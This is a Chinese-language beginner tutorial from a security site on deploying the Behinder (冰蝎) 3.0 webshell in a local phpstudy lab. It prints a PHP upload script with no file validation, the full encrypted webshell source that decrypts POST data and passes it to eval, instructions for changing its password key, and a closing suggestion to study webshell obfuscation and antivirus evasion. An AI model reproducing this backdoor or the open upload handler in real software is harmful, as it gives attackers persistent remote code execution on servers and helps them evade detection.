标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2749] 作者: 闲云野鸡 发表于: [2020-09-04]
本文共 [386] 位读者顶过
前言
今天刚下载了最新版的冰蝎3.0 beta2,但是一直连不上,后来问了公司的大哥才知道了原因,这里做一个记录,希望对你有所帮助。[出自:jiwo.org] 这篇文章比较基础,主要面向新手,技术含量较低主要为操作流程。
server文件中放的是各种语言的webshell,如下图:
环境配置
这里我使用的php的webshell做的实验。首先我开了一个windows的虚拟机,下载了phpstudy,开启了apache,然后写一个文件上传的php代码,这里采用的是菜鸟教程上自带的php文件上传代码,具体代码如下: <!-- index.html代码 --> <html> <head> <meta charset="utf-8"> <title>Upload</title> </head> <body> <!-- 下面表单表示将接收到底文件传给upload_file.php去处理 --> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
// upload_file.php <?php if ($_FILES["file"]["error"] > 0) { echo "错误:" . $_FILES["file"]["error"] . "<br>"; } else { echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"]; } move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"] //文件会被上传到当前目录下的upload文件夹中 ?>将上诉代码放在:
只要下载了phpstudy应该就会有这个文件夹,我使用的是默认目录安装的,upload_file.php代码写到上传的文件需要被放在当前目录下的upload文件夹中,因此我们需要自己创建一个upload文件夹,如上图所示。
上传页面如上图所示,点击chose file选中文件,点击提交上传我们的php的webshell即可,上传成功这会出现下图。 这时候双击打开我们的冰蝎:
如果无法打开可能是java版本不对,这里我给出自己的java版本作为参考。
打开后在空白处右键然后点击新增:
输入url跟密码然后点击保存
这里面说一下为什么默认密码为什么是rebeyond还有怎样更改默认密码:
<?php @error_reporting(0); session_start(); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $key="e45e329feb5d925b"; //这一行为密码的md5的前16位 $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); } ?>跟我在代码中标注的一样
$key=“e45e329feb5d925b”; //这一行为密码的md5的前16位
发现rebeyond的32位md5的前16为刚好就是代码中的key的值(是第一行md5(rebeyond,32))。现在大家应该知道怎么改密码了吧,只要用你想用的密码的md5的前16位代替代码中key的值,然后你就可以使用自己的密码登陆shell了。例如你想使用admin当密码,你求出的admin的md5如下:
这时候你只需要将代码中的 “ $key=“e45e329feb5d925b”; “ 中key的值改为21232f297a57a5a7即可使用admin为密码登陆,说到这里就已经很详细了,点到为止。
冰蝎页面连接成功后页面如下:
大家可以根据自己的需要去使用,不过建议大家有机会研究一下webshell的混淆与免杀,否则很容易被查杀。
|